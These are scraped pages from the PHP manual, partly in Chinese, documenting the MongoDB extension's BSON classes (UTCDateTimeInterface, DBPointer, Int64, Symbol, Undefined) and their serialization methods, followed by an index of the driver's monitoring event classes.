  • MongoDB\BSON\UTCDateTimeInterface::__toString — Returns the string representation of this UTCDateTimeInterface

User Contributed Notes

There are no user contributed notes for this page.


Returns the DateTime representation of this UTCDateTimeInterface

  • ? MongoDB\BSON\UTCDateTimeInterface
  • MongoDB\BSON\UTCDateTimeInterface::__toString ?
  • PHP Manual
  • MongoDB\BSON\UTCDateTimeInterface
  • Returns the DateTime representation of this UTCDateTimeInterface

MongoDB\BSON\UTCDateTimeInterface::toDateTime

(mongodb >=1.3.0)

MongoDB\BSON\UTCDateTimeInterface::toDateTime — Returns the DateTime representation of this UTCDateTimeInterface

说明

abstract public MongoDB\BSON\UTCDateTimeInterface::toDateTime(): DateTime

参数

此函数没有参数。

返回值

Returns the DateTime representation of this UTCDateTimeInterface. The returned DateTime should use the UTC time zone.

参见

  • MongoDB\BSON\UTCDateTime::toDateTime() - Returns the DateTime representation of this UTCDateTime

User Contributed Notes

There are no user contributed notes for this page.


Returns the string representation of this UTCDateTimeInterface

  • ? MongoDB\BSON\UTCDateTimeInterface::toDateTime
  • MongoDB\BSON\DBPointer ?
  • PHP Manual
  • MongoDB\BSON\UTCDateTimeInterface
  • Returns the string representation of this UTCDateTimeInterface

MongoDB\BSON\UTCDateTimeInterface::__toString

(mongodb >=1.3.0)

MongoDB\BSON\UTCDateTimeInterface::__toString — Returns the string representation of this UTCDateTimeInterface

说明

abstract public MongoDB\BSON\UTCDateTimeInterface::__toString(): string

参数

此函数没有参数。

返回值

Returns the string representation of this UTCDateTimeInterface.

参见

  • MongoDB\BSON\UTCDateTime::__toString() - Returns the string representation of this UTCDateTime

User Contributed Notes

There are no user contributed notes for this page.


The MongoDB\BSON\DBPointer class (deprecated)

(mongodb >=1.4.0)

简介

BSON type for the "DBPointer" type. This BSON type is deprecated, and this class can not be instantiated. It will be created from a BSON DBPointer type while converting BSON to PHP, and can also be converted back into BSON while storing documents in the database.

类摘要

final class MongoDB\BSON\DBPointer implements MongoDB\BSON\Type, Serializable, JsonSerializable, Stringable {
/* 方法 */
final private __construct()
final public jsonSerialize(): mixed
final public serialize(): string
final public __toString(): string
final public unserialize(string $data): void
}

更新日志

版本 | 说明
PECL mongodb 1.12.0 | Implements Stringable for PHP 8.0+.

Table of Contents

  • MongoDB\BSON\DBPointer::__construct — Construct a new DBPointer (unused)
  • MongoDB\BSON\DBPointer::jsonSerialize — Returns a representation that can be converted to JSON
  • MongoDB\BSON\DBPointer::serialize — Serialize a DBPointer
  • MongoDB\BSON\DBPointer::__toString — Returns an empty string
  • MongoDB\BSON\DBPointer::unserialize — Unserialize a DBPointer

User Contributed Notes

There are no user contributed notes for this page.


Construct a new DBPointer (unused)

  • ? MongoDB\BSON\DBPointer
  • MongoDB\BSON\DBPointer::jsonSerialize ?
  • PHP Manual
  • MongoDB\BSON\DBPointer
  • Construct a new DBPointer (unused)

MongoDB\BSON\DBPointer::__construct

(mongodb >=1.4.0)

MongoDB\BSON\DBPointer::__construct — Construct a new DBPointer (unused)

说明

final private MongoDB\BSON\DBPointer::__construct()

MongoDB\BSON\DBPointer objects are created through conversion from a deprecated BSON type and cannot be constructed directly.

参数

此函数没有参数。

参见

  • » BSON Types

User Contributed Notes

There are no user contributed notes for this page.


Returns a representation that can be converted to JSON

  • ? MongoDB\BSON\DBPointer::__construct
  • MongoDB\BSON\DBPointer::serialize ?
  • PHP Manual
  • MongoDB\BSON\DBPointer
  • Returns a representation that can be converted to JSON

MongoDB\BSON\DBPointer::jsonSerialize

(mongodb >=1.4.0)

MongoDB\BSON\DBPointer::jsonSerialize — Returns a representation that can be converted to JSON

说明

final public MongoDB\BSON\DBPointer::jsonSerialize(): mixed

参数

此函数没有参数。

返回值

Returns data which can be serialized by json_encode() to produce an extended JSON representation of the MongoDB\BSON\DBPointer.

Note: The output is consistent with the MongoDB\BSON\toJSON() function, which uses the driver-specific legacy extended JSON format. This does not necessarily match the » relaxed or » canonical extended JSON representations used by MongoDB\BSON\toRelaxedExtendedJSON() and MongoDB\BSON\toCanonicalExtendedJSON(), respectively.

错误／异常

  • Throws MongoDB\Driver\Exception\InvalidArgumentException on argument parsing errors.

参见

  • JsonSerializable::jsonSerialize() - 指定需要被序列化成 JSON 的数据
  • json_encode() - 对变量进行 JSON 编码
  • MongoDB\BSON\toCanonicalExtendedJSON() - Returns the Canonical Extended JSON representation of a BSON value
  • MongoDB\BSON\toRelaxedExtendedJSON() - Returns the Relaxed Extended JSON representation of a BSON value
  • » MongoDB Extended JSON

User Contributed Notes

There are no user contributed notes for this page.


Serialize a DBPointer

  • ? MongoDB\BSON\DBPointer::jsonSerialize
  • MongoDB\BSON\DBPointer::__toString ?
  • PHP Manual
  • MongoDB\BSON\DBPointer
  • Serialize a DBPointer

MongoDB\BSON\DBPointer::serialize

(mongodb >=1.4.0)

MongoDB\BSON\DBPointer::serialize — Serialize a DBPointer

说明

final public MongoDB\BSON\DBPointer::serialize(): string

参数

此函数没有参数。

返回值

Returns the serialized representation of the MongoDB\BSON\DBPointer.

错误／异常

  • Throws MongoDB\Driver\Exception\InvalidArgumentException on argument parsing errors.

参见

  • MongoDB\BSON\DBPointer::unserialize() - Unserialize a DBPointer
  • serialize() - 生成值的可存储表示
  • Serializing Objects

User Contributed Notes

There are no user contributed notes for this page.


Returns an empty string

  • ? MongoDB\BSON\DBPointer::serialize
  • MongoDB\BSON\DBPointer::unserialize ?
  • PHP Manual
  • MongoDB\BSON\DBPointer
  • Returns an empty string

MongoDB\BSON\DBPointer::__toString

(mongodb >=1.4.0)

MongoDB\BSON\DBPointer::__toString — Returns an empty string

说明

final public MongoDB\BSON\DBPointer::__toString(): string

参数

此函数没有参数。

返回值

Returns an empty string.

参见

  • » BSON Types

User Contributed Notes

There are no user contributed notes for this page.


Unserialize a DBPointer

  • ? MongoDB\BSON\DBPointer::__toString
  • MongoDB\BSON\Int64 ?
  • PHP Manual
  • MongoDB\BSON\DBPointer
  • Unserialize a DBPointer

MongoDB\BSON\DBPointer::unserialize

(mongodb >=1.4.0)

MongoDB\BSON\DBPointer::unserialize — Unserialize a DBPointer

说明

final public MongoDB\BSON\DBPointer::unserialize(string $data): void

参数

data

The serialized MongoDB\BSON\DBPointer.

返回值

没有返回值。

错误／异常

  • Throws MongoDB\Driver\Exception\InvalidArgumentException on argument parsing errors.

参见

  • MongoDB\BSON\DBPointer::serialize() - Serialize a DBPointer
  • unserialize() - 从已存储的表示中创建 PHP 的值
  • Serializing Objects

User Contributed Notes

There are no user contributed notes for this page.


The MongoDB\BSON\Int64 class

(mongodb >=1.5.0)

简介

BSON type for a 64-bit integer. When decoding BSON to PHP data, this class is used when a 64-bit integer cannot be represented as a PHP integer on 32-bit platforms. These objects support overloaded arithmetic, bitwise, and comparison operators.

When working with raw BSON data through the MongoDB\BSON\Document, MongoDB\BSON\PackedArray, and MongoDB\BSON\Iterator classes, any 64-bit integer will be returned as an instance of this class, regardless of platform and whether the value can be represented as a PHP integer. This ensures that values can be roundtripped without changing the type.

During BSON encoding, objects of this class will convert back to a 64-bit integer type, even when the value would fit in a 32-bit integer. This allows explicitly storing values as 64-bit integers in BSON.

类摘要

final class MongoDB\BSON\Int64 implements MongoDB\BSON\Type, Serializable, JsonSerializable, Stringable {
/* 方法 */
final public __construct(int|string $value)
final public jsonSerialize(): mixed
final public serialize(): string
final public __toString(): string
final public unserialize(string $data): void
}

更新日志

版本 | 说明
PECL mongodb 1.16.0 | The class can now be instantiated on all platforms. Added support for overloaded arithmetic, bitwise, and comparison operators.
PECL mongodb 1.12.0 | Implements Stringable for PHP 8.0+.

Table of Contents

  • MongoDB\BSON\Int64::__construct — Construct a new Int64
  • MongoDB\BSON\Int64::jsonSerialize — Returns a representation that can be converted to JSON
  • MongoDB\BSON\Int64::serialize — Serialize an Int64
  • MongoDB\BSON\Int64::__toString — Returns the string representation of this Int64
  • MongoDB\BSON\Int64::unserialize — Unserialize an Int64

User Contributed Notes

There are no user contributed notes for this page.


Construct a new Int64

  • ? MongoDB\BSON\Int64
  • MongoDB\BSON\Int64::jsonSerialize ?
  • PHP Manual
  • MongoDB\BSON\Int64
  • Construct a new Int64

MongoDB\BSON\Int64::__construct

(mongodb >=1.5.0)

MongoDB\BSON\Int64::__construct — Construct a new Int64

说明

final public MongoDB\BSON\Int64::__construct(int|string $value)

Creates a new MongoDB\BSON\Int64 instance for the given integer value.

参数

value (int|string)

The value to assign to the Int64 instance. This value can be provided as an int or string, the latter being required on 32-bit platforms to represent 64-bit values.

更新日志

版本 | 说明
PECL mongodb 1.16.0 | This method was made public to support creating Int64 instances when working with raw BSON.

错误／异常

  • Throws MongoDB\Driver\Exception\InvalidArgumentException on argument parsing errors.
  • Throws MongoDB\Driver\Exception\InvalidArgumentException if string value cannot be parsed as a 64-bit integer.

参见

  • » BSON Types

User Contributed Notes

There are no user contributed notes for this page.


Returns a representation that can be converted to JSON

  • ? MongoDB\BSON\Int64::__construct
  • MongoDB\BSON\Int64::serialize ?
  • PHP Manual
  • MongoDB\BSON\Int64
  • Returns a representation that can be converted to JSON

MongoDB\BSON\Int64::jsonSerialize

(mongodb >=1.5.0)

MongoDB\BSON\Int64::jsonSerialize — Returns a representation that can be converted to JSON

说明

final public MongoDB\BSON\Int64::jsonSerialize(): mixed

参数

此函数没有参数。

返回值

Returns data which can be serialized by json_encode() to produce an extended JSON representation of the MongoDB\BSON\Int64.

Note: The output is consistent with the MongoDB\BSON\toCanonicalExtendedJSON() function, which uses the » canonical extended JSON format. This differs from other BSON classes, which use the driver-specific legacy extended JSON format (MongoDB\BSON\toJSON()), in order to ensure that the 64-bit integer value is correctly represented on 32-bit platforms.

错误／异常

  • Throws MongoDB\Driver\Exception\InvalidArgumentException on argument parsing errors.

参见

  • JsonSerializable::jsonSerialize() - 指定需要被序列化成 JSON 的数据
  • json_encode() - 对变量进行 JSON 编码
  • MongoDB\BSON\toCanonicalExtendedJSON() - Returns the Canonical Extended JSON representation of a BSON value
  • MongoDB\BSON\toRelaxedExtendedJSON() - Returns the Relaxed Extended JSON representation of a BSON value
  • » MongoDB Extended JSON

User Contributed Notes

There are no user contributed notes for this page.


Serialize an Int64

  • ? MongoDB\BSON\Int64::jsonSerialize
  • MongoDB\BSON\Int64::__toString ?
  • PHP Manual
  • MongoDB\BSON\Int64
  • Serialize an Int64

MongoDB\BSON\Int64::serialize

(mongodb >=1.5.0)

MongoDB\BSON\Int64::serialize — Serialize an Int64

说明

final public MongoDB\BSON\Int64::serialize(): string

参数

此函数没有参数。

返回值

Returns the serialized representation of the MongoDB\BSON\Int64.

错误／异常

  • Throws MongoDB\Driver\Exception\InvalidArgumentException on argument parsing errors.

参见

  • MongoDB\BSON\Int64::unserialize() - Unserialize an Int64
  • serialize() - 生成值的可存储表示
  • Serializing Objects

User Contributed Notes

There are no user contributed notes for this page.


Returns the string representation of this Int64

  • ? MongoDB\BSON\Int64::serialize
  • MongoDB\BSON\Int64::unserialize ?
  • PHP Manual
  • MongoDB\BSON\Int64
  • Returns the string representation of this Int64

MongoDB\BSON\Int64::__toString

(mongodb >=1.5.0)

MongoDB\BSON\Int64::__toString — Returns the string representation of this Int64

说明

final public MongoDB\BSON\Int64::__toString(): string

参数

此函数没有参数。

返回值

Returns the string representation of this Int64.

示例

Example #1 MongoDB\BSON\Int64::__toString() example

<?php

$int64 = new MongoDB\BSON\Int64('9223372036854775807');

var_dump((string) $int64);

?>

以上示例的输出类似于：

string(19) "9223372036854775807"

参见

  • » BSON Types

User Contributed Notes

There are no user contributed notes for this page.


Unserialize an Int64

  • ? MongoDB\BSON\Int64::__toString
  • MongoDB\BSON\Symbol ?
  • PHP Manual
  • MongoDB\BSON\Int64
  • Unserialize an Int64

MongoDB\BSON\Int64::unserialize

(mongodb >=1.5.0)

MongoDB\BSON\Int64::unserialize — Unserialize an Int64

说明

final public MongoDB\BSON\Int64::unserialize(string $data): void

参数

data

The serialized MongoDB\BSON\Int64.

返回值

没有返回值。

错误／异常

  • Throws MongoDB\Driver\Exception\InvalidArgumentException on argument parsing errors.
  • Throws MongoDB\Driver\Exception\UnexpectedValueException if the properties cannot be unserialized (i.e. serialized was malformed).
  • Throws MongoDB\Driver\Exception\InvalidArgumentException if the properties are invalid (e.g. missing fields or invalid values).

参见

  • MongoDB\BSON\Int64::serialize() - Serialize an Int64
  • unserialize() - 从已存储的表示中创建 PHP 的值
  • Serializing Objects

User Contributed Notes

There are no user contributed notes for this page.


The MongoDB\BSON\Symbol class (deprecated)

(mongodb >=1.4.0)

简介

BSON type for the "Symbol" type. This BSON type is deprecated, and this class can not be instantiated. It will be created from a BSON symbol type while converting BSON to PHP, and can also be converted back into BSON while storing documents in the database.

类摘要

final class MongoDB\BSON\Symbol implements MongoDB\BSON\Type, Serializable, JsonSerializable, Stringable {
/* 方法 */
final private __construct()
final public jsonSerialize(): mixed
final public serialize(): string
final public __toString(): string
final public unserialize(string $data): void
}

更新日志

版本 | 说明
PECL mongodb 1.12.0 | Implements Stringable for PHP 8.0+.

Table of Contents

  • MongoDB\BSON\Symbol::__construct — Construct a new Symbol (unused)
  • MongoDB\BSON\Symbol::jsonSerialize — Returns a representation that can be converted to JSON
  • MongoDB\BSON\Symbol::serialize — Serialize a Symbol
  • MongoDB\BSON\Symbol::__toString — Returns the Symbol as a string
  • MongoDB\BSON\Symbol::unserialize — Unserialize a Symbol

User Contributed Notes

There are no user contributed notes for this page.


Construct a new Symbol (unused)

  • ? MongoDB\BSON\Symbol
  • MongoDB\BSON\Symbol::jsonSerialize ?
  • PHP Manual
  • MongoDB\BSON\Symbol
  • Construct a new Symbol (unused)

MongoDB\BSON\Symbol::__construct

(mongodb >=1.4.0)

MongoDB\BSON\Symbol::__construct — Construct a new Symbol (unused)

说明

final private MongoDB\BSON\Symbol::__construct()

MongoDB\BSON\Symbol objects are created through conversion from a deprecated BSON type and cannot be constructed directly.

参数

此函数没有参数。

参见

  • » BSON Types

User Contributed Notes

There are no user contributed notes for this page.


Returns a representation that can be converted to JSON

  • ? MongoDB\BSON\Symbol::__construct
  • MongoDB\BSON\Symbol::serialize ?
  • PHP Manual
  • MongoDB\BSON\Symbol
  • Returns a representation that can be converted to JSON

MongoDB\BSON\Symbol::jsonSerialize

(mongodb >=1.4.0)

MongoDB\BSON\Symbol::jsonSerialize — Returns a representation that can be converted to JSON

说明

final public MongoDB\BSON\Symbol::jsonSerialize(): mixed

参数

此函数没有参数。

返回值

Returns data which can be serialized by json_encode() to produce an extended JSON representation of the MongoDB\BSON\Symbol.

Note: The output is consistent with the MongoDB\BSON\toJSON() function, which uses the driver-specific legacy extended JSON format. This does not necessarily match the » relaxed or » canonical extended JSON representations used by MongoDB\BSON\toRelaxedExtendedJSON() and MongoDB\BSON\toCanonicalExtendedJSON(), respectively.

错误／异常

  • Throws MongoDB\Driver\Exception\InvalidArgumentException on argument parsing errors.

参见

  • JsonSerializable::jsonSerialize() - 指定需要被序列化成 JSON 的数据
  • json_encode() - 对变量进行 JSON 编码
  • MongoDB\BSON\toCanonicalExtendedJSON() - Returns the Canonical Extended JSON representation of a BSON value
  • MongoDB\BSON\toRelaxedExtendedJSON() - Returns the Relaxed Extended JSON representation of a BSON value
  • » MongoDB Extended JSON

User Contributed Notes

There are no user contributed notes for this page.


Serialize a Symbol

  • ? MongoDB\BSON\Symbol::jsonSerialize
  • MongoDB\BSON\Symbol::__toString ?
  • PHP Manual
  • MongoDB\BSON\Symbol
  • Serialize a Symbol

MongoDB\BSON\Symbol::serialize

(mongodb >=1.4.0)

MongoDB\BSON\Symbol::serialize — Serialize a Symbol

说明

final public MongoDB\BSON\Symbol::serialize(): string

参数

此函数没有参数。

返回值

Returns the serialized representation of the MongoDB\BSON\Symbol.

错误／异常

  • Throws MongoDB\Driver\Exception\InvalidArgumentException on argument parsing errors.

参见

  • MongoDB\BSON\Symbol::unserialize() - Unserialize a Symbol
  • serialize() - 生成值的可存储表示
  • Serializing Objects

User Contributed Notes

There are no user contributed notes for this page.


Returns the Symbol as a string

  • ? MongoDB\BSON\Symbol::serialize
  • MongoDB\BSON\Symbol::unserialize ?
  • PHP Manual
  • MongoDB\BSON\Symbol
  • Returns the Symbol as a string

MongoDB\BSON\Symbol::__toString

(mongodb >=1.4.0)

MongoDB\BSON\Symbol::__toString — Returns the Symbol as a string

说明

final public MongoDB\BSON\Symbol::__toString(): string

参数

此函数没有参数。

返回值

Returns the string representation of this Symbol.

参见

  • » BSON Types

User Contributed Notes

There are no user contributed notes for this page.


Unserialize a Symbol

  • ? MongoDB\BSON\Symbol::__toString
  • MongoDB\BSON\Undefined ?
  • PHP Manual
  • MongoDB\BSON\Symbol
  • Unserialize a Symbol

MongoDB\BSON\Symbol::unserialize

(mongodb >=1.4.0)

MongoDB\BSON\Symbol::unserialize — Unserialize a Symbol

说明

final public MongoDB\BSON\Symbol::unserialize(string $data): void

参数

data

The serialized MongoDB\BSON\Symbol.

返回值

没有返回值。

错误／异常

  • Throws MongoDB\Driver\Exception\InvalidArgumentException on argument parsing errors.

参见

  • MongoDB\BSON\Symbol::serialize() - Serialize a Symbol
  • unserialize() - 从已存储的表示中创建 PHP 的值
  • Serializing Objects

User Contributed Notes

There are no user contributed notes for this page.


The MongoDB\BSON\Undefined class (deprecated)

(mongodb >=1.4.0)

简介

BSON type for the "Undefined" type. This BSON type is deprecated, and this class can not be instantiated. It will be created from a BSON undefined type while converting BSON to PHP, and can also be converted back into BSON while storing documents in the database.

类摘要

final class MongoDB\BSON\Undefined implements MongoDB\BSON\Type, Serializable, JsonSerializable, Stringable {
/* 方法 */
final private __construct()
final public jsonSerialize(): mixed
final public serialize(): string
final public __toString(): string
final public unserialize(string $data): void
}

更新日志

版本 | 说明
PECL mongodb 1.12.0 | Implements Stringable for PHP 8.0+.

Table of Contents

  • MongoDB\BSON\Undefined::__construct — Construct a new Undefined (unused)
  • MongoDB\BSON\Undefined::jsonSerialize — Returns a representation that can be converted to JSON
  • MongoDB\BSON\Undefined::serialize — Serialize a Undefined
  • MongoDB\BSON\Undefined::__toString — Returns an empty string
  • MongoDB\BSON\Undefined::unserialize — Unserialize a Undefined

User Contributed Notes

There are no user contributed notes for this page.


Construct a new Undefined (unused)

  • ? MongoDB\BSON\Undefined
  • MongoDB\BSON\Undefined::jsonSerialize ?
  • PHP Manual
  • MongoDB\BSON\Undefined
  • Construct a new Undefined (unused)

MongoDB\BSON\Undefined::__construct

(mongodb >=1.4.0)

MongoDB\BSON\Undefined::__construct — Construct a new Undefined (unused)

说明

final private MongoDB\BSON\Undefined::__construct()

MongoDB\BSON\Undefined objects are created through conversion from a deprecated BSON type and cannot be constructed directly.

参数

此函数没有参数。

参见

  • » BSON Types

User Contributed Notes

There are no user contributed notes for this page.


Returns a representation that can be converted to JSON

  • ? MongoDB\BSON\Undefined::__construct
  • MongoDB\BSON\Undefined::serialize ?
  • PHP Manual
  • MongoDB\BSON\Undefined
  • Returns a representation that can be converted to JSON

MongoDB\BSON\Undefined::jsonSerialize

(mongodb >=1.4.0)

MongoDB\BSON\Undefined::jsonSerialize — Returns a representation that can be converted to JSON

说明

final public MongoDB\BSON\Undefined::jsonSerialize(): mixed

参数

此函数没有参数。

返回值

Returns data which can be serialized by json_encode() to produce an extended JSON representation of the MongoDB\BSON\Undefined.

Note: The output is consistent with the MongoDB\BSON\toJSON() function, which uses the driver-specific legacy extended JSON format. This does not necessarily match the » relaxed or » canonical extended JSON representations used by MongoDB\BSON\toRelaxedExtendedJSON() and MongoDB\BSON\toCanonicalExtendedJSON(), respectively.

错误／异常

  • Throws MongoDB\Driver\Exception\InvalidArgumentException on argument parsing errors.

参见

  • JsonSerializable::jsonSerialize() - 指定需要被序列化成 JSON 的数据
  • json_encode() - 对变量进行 JSON 编码
  • MongoDB\BSON\toCanonicalExtendedJSON() - Returns the Canonical Extended JSON representation of a BSON value
  • MongoDB\BSON\toRelaxedExtendedJSON() - Returns the Relaxed Extended JSON representation of a BSON value
  • » MongoDB Extended JSON

User Contributed Notes

There are no user contributed notes for this page.


Serialize a Undefined

  • ? MongoDB\BSON\Undefined::jsonSerialize
  • MongoDB\BSON\Undefined::__toString ?
  • PHP Manual
  • MongoDB\BSON\Undefined
  • Serialize a Undefined

MongoDB\BSON\Undefined::serialize

(mongodb >=1.4.0)

MongoDB\BSON\Undefined::serialize — Serialize a Undefined

说明

final public MongoDB\BSON\Undefined::serialize(): string

参数

此函数没有参数。

返回值

Returns the serialized representation of the MongoDB\BSON\Undefined.

错误／异常

  • Throws MongoDB\Driver\Exception\InvalidArgumentException on argument parsing errors.

参见

  • MongoDB\BSON\Undefined::unserialize() - Unserialize a Undefined
  • serialize() - 生成值的可存储表示
  • Serializing Objects

User Contributed Notes

There are no user contributed notes for this page.


Returns an empty string

  • ? MongoDB\BSON\Undefined::serialize
  • MongoDB\BSON\Undefined::unserialize ?
  • PHP Manual
  • MongoDB\BSON\Undefined
  • Returns an empty string

MongoDB\BSON\Undefined::__toString

(mongodb >=1.4.0)

MongoDB\BSON\Undefined::__toString — Returns an empty string

说明

final public MongoDB\BSON\Undefined::__toString(): string

参数

此函数没有参数。

返回值

Returns an empty string.

参见

  • » BSON Types

User Contributed Notes

There are no user contributed notes for this page.


Unserialize a Undefined

  • ? MongoDB\BSON\Undefined::__toString
  • MongoDB\Driver\Monitoring ?
  • PHP Manual
  • MongoDB\BSON\Undefined
  • Unserialize a Undefined

MongoDB\BSON\Undefined::unserialize

(mongodb >=1.4.0)

MongoDB\BSON\Undefined::unserialize — Unserialize a Undefined

说明

final public MongoDB\BSON\Undefined::unserialize(string $data): void

参数

data

The serialized MongoDB\BSON\Undefined.

返回值

没有返回值。

错误／异常

  • Throws MongoDB\Driver\Exception\InvalidArgumentException on argument parsing errors.

参见

  • MongoDB\BSON\Undefined::serialize() - Serialize a Undefined
  • unserialize() - 从已存储的表示中创建 PHP 的值
  • Serializing Objects

User Contributed Notes

There are no user contributed notes for this page.


Monitoring classes and subscriber functions

  • 函数
    • MongoDB\Driver\Monitoring\addSubscriber — Registers a monitoring event subscriber globally
    • MongoDB\Driver\Monitoring\removeSubscriber — Unregisters a monitoring event subscriber globally
  • MongoDB\Driver\Monitoring\CommandFailedEvent — The MongoDB\Driver\Monitoring\CommandFailedEvent class
    • MongoDB\Driver\Monitoring\CommandFailedEvent::getCommandName — Returns the command name
    • MongoDB\Driver\Monitoring\CommandFailedEvent::getDurationMicros — Returns the command's duration in microseconds
    • MongoDB\Driver\Monitoring\CommandFailedEvent::getError — Returns the Exception associated with the failed command
    • MongoDB\Driver\Monitoring\CommandFailedEvent::getOperationId — Returns the command's operation ID
    • MongoDB\Driver\Monitoring\CommandFailedEvent::getReply — Returns the command reply document
    • MongoDB\Driver\Monitoring\CommandFailedEvent::getRequestId — Returns the command's request ID
    • MongoDB\Driver\Monitoring\CommandFailedEvent::getServer — Returns the Server on which the command was executed
    • MongoDB\Driver\Monitoring\CommandFailedEvent::getServerConnectionId — Returns the server connection ID for the command
    • MongoDB\Driver\Monitoring\CommandFailedEvent::getServiceId — Returns the load balancer service ID for the command
  • MongoDB\Driver\Monitoring\CommandStartedEvent — The MongoDB\Driver\Monitoring\CommandStartedEvent class
    • MongoDB\Driver\Monitoring\CommandStartedEvent::getCommand — Returns the command document
    • MongoDB\Driver\Monitoring\CommandStartedEvent::getCommandName — Returns the command name
    • MongoDB\Driver\Monitoring\CommandStartedEvent::getDatabaseName — Returns the database on which the command was executed
    • MongoDB\Driver\Monitoring\CommandStartedEvent::getOperationId — Returns the command's operation ID
    • MongoDB\Driver\Monitoring\CommandStartedEvent::getRequestId — Returns the command's request ID
    • MongoDB\Driver\Monitoring\CommandStartedEvent::getServer — Returns the Server on which the command was executed
    • MongoDB\Driver\Monitoring\CommandStartedEvent::getServerConnectionId — Returns the server connection ID for the command
    • MongoDB\Driver\Monitoring\CommandStartedEvent::getServiceId — Returns the load balancer service ID for the command
  • MongoDB\Driver\Monitoring\CommandSucceededEvent — The MongoDB\Driver\Monitoring\CommandSucceededEvent class
    • MongoDB\Driver\Monitoring\CommandSucceededEvent::getCommandName — Returns the command name
    • MongoDB\Driver\Monitoring\CommandSucceededEvent::getDurationMicros — Returns the command's duration in microseconds
    • MongoDB\Driver\Monitoring\CommandSucceededEvent::getOperationId — Returns the command's operation ID
    • MongoDB\Driver\Monitoring\CommandSucceededEvent::getReply — Returns the command reply document
    • MongoDB\Driver\Monitoring\CommandSucceededEvent::getRequestId — Returns the command's request ID
    • MongoDB\Driver\Monitoring\CommandSucceededEvent::getServer — Returns the Server on which the command was executed
    • MongoDB\Driver\Monitoring\CommandSucceededEvent::getServerConnectionId — Returns the server connection ID for the command
    • MongoDB\Driver\Monitoring\CommandSucceededEvent::getServiceId — Returns the load balancer service ID for the command
  • MongoDB\Driver\Monitoring\ServerChangedEvent — The MongoDB\Driver\Monitoring\ServerChangedEvent class
    • MongoDB\Driver\Monitoring\ServerChangedEvent::getHost — Returns the hostname of the server
    • MongoDB\Driver\Monitoring\ServerChangedEvent::getNewDescription — Returns the new description for the server
    • MongoDB\Driver\Monitoring\ServerChangedEvent::getPort — Returns the port on which this server is listening
    • MongoDB\Driver\Monitoring\ServerChangedEvent::getPreviousDescription — Returns the previous description for the server
    • MongoDB\Driver\Monitoring\ServerChangedEvent::getTopologyId — Returns the topology ID associated with this server
  • MongoDB\Driver\Monitoring\ServerClosedEvent — The MongoDB\Driver\Monitoring\ServerClosedEvent class
    • MongoDB\Driver\Monitoring\ServerClosedEvent::getHost — Returns the hostname of the server
    • MongoDB\Driver\Monitoring\ServerClosedEvent::getPort — Returns the port on which this server is listening
    • MongoDB\Driver\Monitoring\ServerClosedEvent::getTopologyId — Returns the topology ID associated with this server
  • MongoDB\Driver\Monitoring\ServerOpeningEvent — The MongoDB\Driver\Monitoring\ServerOpeningEvent class
    • MongoDB\Driver\Monitoring\ServerOpeningEvent::getHost — Returns the hostname of the server
    • MongoDB\Driver\Monitoring\ServerOpeningEvent::getPort — Returns the port on which this server is listening
    • MongoDB\Driver\Monitoring\ServerOpeningEvent::getTopologyId — Returns the topology ID associated with this server
  • MongoDB\Driver\Monitoring\ServerHeartbeatFailedEvent — The MongoDB\Driver\Monitoring\ServerHeartbeatFailedEvent class
    • MongoDB\Driver\Monitoring\ServerHeartbeatFailedEvent::getDurationMicros — Returns the heartbeat's duration in microseconds
    • MongoDB\Driver\Monitoring\ServerHeartbeatFailedEvent::getError — Returns the Exception associated with the failed heartbeat
    • MongoDB\Driver\Monitoring\ServerHeartbeatFailedEvent::getHost — Returns the hostname of the server
    • MongoDB\Driver\Monitoring\ServerHeartbeatFailedEvent::getPort — Returns the port on which this server is listening
    • MongoDB\Driver\Monitoring\ServerHeartbeatFailedEvent::isAwaited — Returns whether the heartbeat used a streaming protocol
  • MongoDB\Driver\Monitoring\ServerHeartbeatStartedEvent — The MongoDB\Driver\Monitoring\ServerHeartbeatStartedEvent class
    • MongoDB\Driver\Monitoring\ServerHeartbeatStartedEvent::getHost — Returns the hostname of the server
    • MongoDB\Driver\Monitoring\ServerHeartbeatStartedEvent::getPort — Returns the port on which this server is listening
    • MongoDB\Driver\Monitoring\ServerHeartbeatStartedEvent::isAwaited — Returns whether the heartbeat used a streaming protocol
  • MongoDB\Driver\Monitoring\ServerHeartbeatSucceededEvent — The MongoDB\Driver\Monitoring\ServerHeartbeatSucceededEvent class
    • MongoDB\Driver\Monitoring\ServerHeartbeatSucceededEvent::getDurationMicros — Returns the heartbeat's duration in microseconds
    • MongoDB\Driver\Monitoring\ServerHeartbeatSucceededEvent::getHost — Returns the hostname of the server
    • MongoDB\Driver\Monitoring\ServerHeartbeatSucceededEvent::getPort — Returns the port on which this server is listening
    • MongoDB\Driver\Monitoring\ServerHeartbeatSucceededEvent::getReply — Returns the heartbeat reply document
    • MongoDB\Driver\Monitoring\ServerHeartbeatSucceededEvent::isAwaited — Returns whether the heartbeat used a streaming protocol
  • MongoDB\Driver\Monitoring\TopologyChangedEvent — The MongoDB\Driver\Monitoring\TopologyChangedEvent class
    • MongoDB\Driver\Monitoring\TopologyChangedEvent::getNewDescription — Returns the new description for the topology
    • MongoDB\Driver\Monitoring\TopologyChangedEvent::getPreviousDescription — Returns the previous description for the topology
    • MongoDB\Driver\Monitoring\TopologyChangedEvent::getTopologyId — Returns the topology ID
  • MongoDB\Driver\Monitoring\TopologyClosedEvent — The MongoDB\Driver\Monitoring\TopologyClosedEvent class
    • MongoDB\Driver\Monitoring\TopologyClosedEvent::getTopologyId — Returns the topology ID
  • MongoDB\Driver\Monitoring\TopologyOpeningEvent — The MongoDB\Driver\Monitoring\TopologyOpeningEvent class
    • MongoDB\Driver\Monitoring\TopologyOpeningEvent::getTopologyId — Returns the topology ID
  • MongoDB\Driver\Monitoring\CommandSubscriber — The MongoDB\Driver\Monitoring\CommandSubscriber interface
    • MongoDB\Driver\Monitoring\CommandSubscriber::commandFailed — Notification method for a failed command
    • MongoDB\Driver\Monitoring\CommandSubscriber::commandStarted — Notification method for a started command
    • MongoDB\Driver\Monitoring\CommandSubscriber::commandSucceeded — Notification method for a successful command
  • MongoDB\Driver\Monitoring\LogSubscriber — The MongoDB\Driver\Monitoring\LogSubscriber interface
    • MongoDB\Driver\Monitoring\LogSubscriber::log — Notification method for a log message
  • MongoDB\Driver\Monitoring\SDAMSubscriber — The MongoDB\Driver\Monitoring\SDAMSubscriber interface
    • MongoDB\Driver\Monitoring\SDAMSubscriber::serverChanged — Notification method for a server description change
    • MongoDB\Driver\Monitoring\SDAMSubscriber::serverClosed — Notification method for closing a server
    • MongoDB\Driver\Monitoring\SDAMSubscriber::serverHeartbeatFailed — Notification method for a failed server heartbeat
